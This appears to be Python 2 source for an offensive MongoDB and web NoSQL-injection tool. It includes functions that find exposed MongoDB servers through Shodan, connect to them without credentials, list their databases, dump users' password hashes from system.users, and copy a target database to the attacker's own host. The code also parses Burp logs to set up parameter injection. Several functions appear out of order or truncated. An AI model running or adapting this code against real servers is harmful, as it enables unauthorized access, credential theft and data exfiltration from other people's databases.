def buildPostdata(url, data): postParams = dict() injectName = [] postData = data global testNum testNum = 1 global neDict global gtDict params = postData.split('&') for item in params: index = item.find('=') postParams[item[0:index]] = item[index + 1:len(item)] try: req = requests.post(url, data=postParams, headers=HEADERS) if req.status_code == 200: appUp = True start = time.time() req = requests.post(url, data=postParams, headers=HEADERS) resLength = int(len(req.content)) end = time.time() reqTime = round((end - start), 3) print '[*] App is up, got response length of %s' % resLength else: printErrMsg('[Error] Got %s from the app, check your options.' % req.status_code) return except Exception, e: printErrMsg( '[Error] %s. Looks like the server didn\'t respond. Check your options.' % e) return
def mgAttack(ip, port, myip, myport, clone_info=[0, None]): print '[*] mongoDB access attack' mongoOpen = False is_clone, clone_db = clone_info print '[*] Checking whether the crendentials are need.' needCreds = mongoScan(ip, port) if needCreds[0] == 0: conn = MongoClient(ip, port) print '[*] ' + ip + ':' + str(port) + ' access with no crendential!' mongoOpen = True elif needCreds[0] == 1: print '[*] login required......' DBuser = getQuesMsg('Username: '******'Password: '******'[*] access check failure. Testing will continute but will be unreliable.' mongoOpen = True elif needCreds[0] == 3: printErrMsg('[Error] couldn\'t connect to MongoDB server.') if mongoOpen == True: displayInfo(conn) #显示数据库信息 displayDBS(conn) #列数据库 列集合 if is_clone == 1 and clone_db != None: cloneDB(conn, myip, myport, clone_db, ip)
def scanMongoIP(scanNum): api = shodan.Shodan(SHODAN_API_KEY) print '[*] Start Scanning......' try: result = api.search('mongoDB') for index in range(scanNum): printInfoMsg('[+] Attacked IP: %s' % result['matches'][index]['ip_str']) except shodan.APIError, e: printErrMsg('[Error] %s' % e)
def InjectOption(url, reqFile): if url == None: #printErrMsg('[Error] The function is testing, waitting for me :)') postWeb(reqFile) elif reqFile == None: getWeb(url) else: printErrMsg('[Error] Check the required options......') return
def cloneDB(conn, myip, myport, clone_db, ip): dbList = conn.database_names() if len(dbList) == 0: printErrMsg('[Error] couldn\'t get a list of databases to clone.') elif clone_db in dbList: try: dbNeedCreds = getQuesMsg( '[*] Does this Database require credentials.(y/n)?') myDBconn = MongoClient(myip, myport) if dbNeedCreds in TAG_NO: myDBconn.copyDatabase(clone_db, clone_db + '_clone', ip) elif dbNeedCreds in TAG_YES: user = getQuesMsg('Username: '******'Password: '******'clone', ip, user, pwd) else: getQuesMsg('[*] Invalid Selection. Press enter to continue!') cloneDB(conn, myip, myport, clone_db, ip) except Exception, e: if str(e).find('Connection refused'): printErrMsg( '[Error] %s. Make sure that mongoDB has been installed or that mongoDB is opened on this computer.' % e) elif str(e).find('text search not enabled'): printErrMsg( '[Error] %s. Database copied, but text indexing was not enabled on the target.' % e) else: printErrMsg('[Error] %s. Something went wrong.' % e)
def postWeb(reqFile): print '[*] Start web app attacks (POST)' global testNum testNum = 1 global httpMethod httpMethod = 'POST' global possAddrs possAddrs = [] global validAddrs validAddrs = [] global addedTarget addedTarget = dict() global paramNames paramNames = [] global paramValues paramValues = [] appUp = False strAttack = False intAttack = False checkFile(reqFile) try: with openFile(reqFile, 'rb') as f: content = f.read() except: printErrMsg( '[Error] Something went wrong while trying to read the content of file \'%s\'' % reqFile) return parseBurpLog(content) if not addedTarget['url'] or not addedTarget['data']: printErrMsg( '[Error] Unable to find usable request(s), in provided file (\'%s\')' % reqFile) return print '[*] Testing connection to the target URL.' url = addedTarget['url'] buildPostdata(url, addedTarget['data']) printInfoMsg('[+] Valid URLs:') for url in validAddrs: printInfoMsg(' %s' % url) print '\n ' printInfoMsg('[+] Possible URLs:') for url in possAddrs: printInfoMsg(' %s' % url)
def getInjectStr(size): print '''[*] What format should the random string take? [1] mixed (letters, numbers) [2] letters only' [3] number only''' format = True while format: format = getQuesMsg('[*] choose: ') if format == '1': chars = string.ascii_letters + string.digits return ''.join(random.choice(chars) for x in range(size)) elif format == '2': chars = string.ascii_letters return ''.join(random.choice(chars) for x in range(size)) elif format == '3': chars = string.digits return ''.join(random.choice(chars) for x in range(size)) else: format = True printErrMsg('[Error] Invalid section.')
def displayDBS(conn): try: printInfoMsg('[+] List of databases:') for db in conn.database_names(): print ' %s' % db print '\n' except: printErrMsg('[Error] Couldn\'t list databases.') try: for dbname in conn.database_names(): db = conn[dbname] printInfoMsg('[+] DBname: %s' % dbname) colls = db.collection_names(include_system_collections=False) printInfoMsg('[+] %s Collections:' % dbname) for coll in colls: print ' %s' % coll print '\n' if 'system.users' in db.collection_names(): users = list(db.system.users.find()) printInfoMsg('[+] Database User and Password hash:') try: for x in range(0, len(users)): print " Username: "******" Hash: " + users[x]['pwd'] print "\n" except Exception, e: printErrMsg('[Error] %s, couldn\'t list user or hash\n' % e) continue except Exception, e: printErrMsg('[Error] %s, Couldn\'t list collections.\n' % e)
def buildUrl(url, value): global urlArray urlArray = ['', '', '', '', '', '', '', '', '', '', '', ''] paramNames = [] paramValues = [] injectParams = [] try: split_url = url.split('?') params = split_url[1].split('&') except: printErrMsg( '[Error] Not able to parse the URL and parameters. Check the url') return for item in params: index = item.find('=') paramNames.append(item[0:index]) paramValues.append(item[index + 1:len(item)]) printInfoMsg('[+] List of parameters:') index = 1 for name in paramNames: print ' [%s] %s' % (index, name) index += 1 try: injectIndex = getQuesMsg( '[*] Choose parmeters to inject (such as 1,2,3):') #print injectIndex.split(',') for i in injectIndex.split(','): injectParams.append(paramNames[int(i) - 1]) except Exception, e: printErrMsg('[Error] %s. Somthing wrong... Check inject parmeters.' % e) return
def getWeb(url): print '[*] Start web app attacks (GET)' global testNum testNum = 1 global httpMethod httpMethod = 'GET' global possAddrs possAddrs = [] global validAddrs validAddrs = [] global lt24 lt24 = False global str24 str24 = False global int24 int24 = False appUp = False strAttack = False intAttack = False print '[*] Checking url if correct......' if '?' not in url or '=' not in url: printErrMsg( '[Error] No URL parameters provided for GET request...Check your url.\n' ) return print '[*] Checking status if site at \'%s\' is up......' % url try: req = requests.get(url, headers=HEADERS) resCode = req.status_code #print type(resCode ) if resCode == 200: startTime = time.time() content = req.content endTime = time.time() resLength = int(len(content)) reqTime = int(round((endTime - startTime), 3)) print '[*] App is up, got response length of %s, and response time of %s seconds, starting inject test.' % ( resLength, reqTime) appUp = True else: printErrMsg('[Error] Got %s code from app, check your options.' % resCode) except Exception, e: printErrMsg( '[Error] %s, looks like the server didn\'t respond, check your options.' % e)
def parseBurpLog(content): if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): reqResList = [] for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): port, request = match.groups() try: request = request.decode("base64") except binascii.Error: continue _ = re.search(r"%s:.+" % re.escape('Host'), request) if _: host = _.group(0).strip() if not re.search(r":\d+\Z", host): request = request.replace(host, "%s:%d" % (host, int(port))) reqResList.append(request) else: reqResList = [content] else: reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) for match in reqResList: request = match if isinstance(match, basestring) else match.group(0) request = re.sub(r"\A[^\w]+", "", request) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) if schemePort: scheme = schemePort.group(1) port = schemePort.group(2) else: scheme, port = None, None if not re.search( r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M): continue if re.search( r"^[\n]*%s.*?\.(%s)\sHTTP\/" % ('GET', "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): continue getPostReq = False url = None host = None method = None data = None cookie = None params = False newline = None lines = request.split('\n') headers = [] for index in xrange(len(lines)): line = lines[index] if not line.strip() and index == len(lines) - 1: break newline = "\r\n" if line.endswith('\r') else '\n' line = line.strip('\r') match = re.search( r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None if len(line.strip( )) == 0 and method and method != HTTPMETHOD.GET and data is None: data = '' params = True elif match: method = match.group(1) url = match.group(2) if any(_ in line for _ in ('?', '=', CUSTOM_INJECTION_MARK_CHAR)): params = True getPostReq = True #POST parameters elif data is not None and params: data += '%s%s' % (line, newline) #GET parameters elif '?' in line and '=' in line and ": " not in line: params = True #Headers elif re.search(r"\A\S+:", line): key, value = line.split(':', 1) value = value.strip().replace('\r', '').replace('\n', '') #Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): cookie = value elif key.upper() == HTTP_HEADER.HOST.upper(): if '://' in value: schemePort, value = value.split('://')[:2] splitValue = value.split(':') host = splitValue[0] if len(splitValue) > 1: port = filterStringValue(splitValue[1], "[0-9]") if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): params = True headers.append((getUnicode(key), getUnicode(value))) elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): headers.append((getUnicode(key), getUnicode(value))) if CUSTOM_INJECTION_MARK_CHAR in re.sub( PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): params = True data = data.rstrip('\r\n') if data else data if getPostReq and (params or cookie): if not port and isinstance( scheme, basestring) and scheme.lower() == 'https': port = '443' elif not scheme and port == '443': scheme = 'https' if not host: printErrMsg('[Error] Invalid format of a request file') if not url.startswith("http"): url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) scheme, port = None, None if not (None and not re.search(None, url, re.I)): addedTarget['data'] = data addedTarget['cookie'] = cookie addedTarget['method'] = method addedTarget['headers'] = tuple(headers) addedTarget['url'] = url
except Exception, e: printErrMsg( '[Error] %s. Looks like the server didn\'t respond. Check your options.' % e) return if appUp == True: index = 1 printInfoMsg('[+] List of post params:') for params in postParams: print ' [%s] %s' % (index, params) index += 1 try: injectIndex = getQuesMsg('Choose a parmeter to inject: ') injOpt = postParams.keys()[int(injectIndex) - 1] except Exception, e: printErrMsg( '[Error] %s. Somthing wrong... Check inject parmeters.' % e) return injectSize = getQuesMsg('[*] Input test random string size: ') injectstr = getInjectStr(int(injectSize)) postParams[injOpt] = injectstr req = requests.post(url, data=postParams, headers=HEADERS) basedInjectLength = int(len(req.content)) print '[*] Got response length of %s.' % basedInjectLength LengthDelta = abs(resLength - basedInjectLength) if LengthDelta == 0: print '[*] No change in response size injecting a random parameter..' #Test 1 Generate not equals injection neDict = postParams
if __name__ == '__main__': url = None ip = None port = 27017 scanNum = 10 #参数设置 try: optlist, args = getopt.getopt(sys.argv[1:], 'h', ['mongo=', 'inject=', 'scan', 'help']) for o, a in optlist: if o == '--mongo': printCover() mongoAttack(port) if o == '--inject': printCover() urlInject() if o == '--scan': printCover() scanIP(scanNum) if o == '-h' or o == '--help': printCover() printUsage() exit() except Exception, e: printErrMsg('[Error] %s. Please use \'-h\' or \'--help\'' % e) if len(sys.argv) < 2: printCover() printUsage()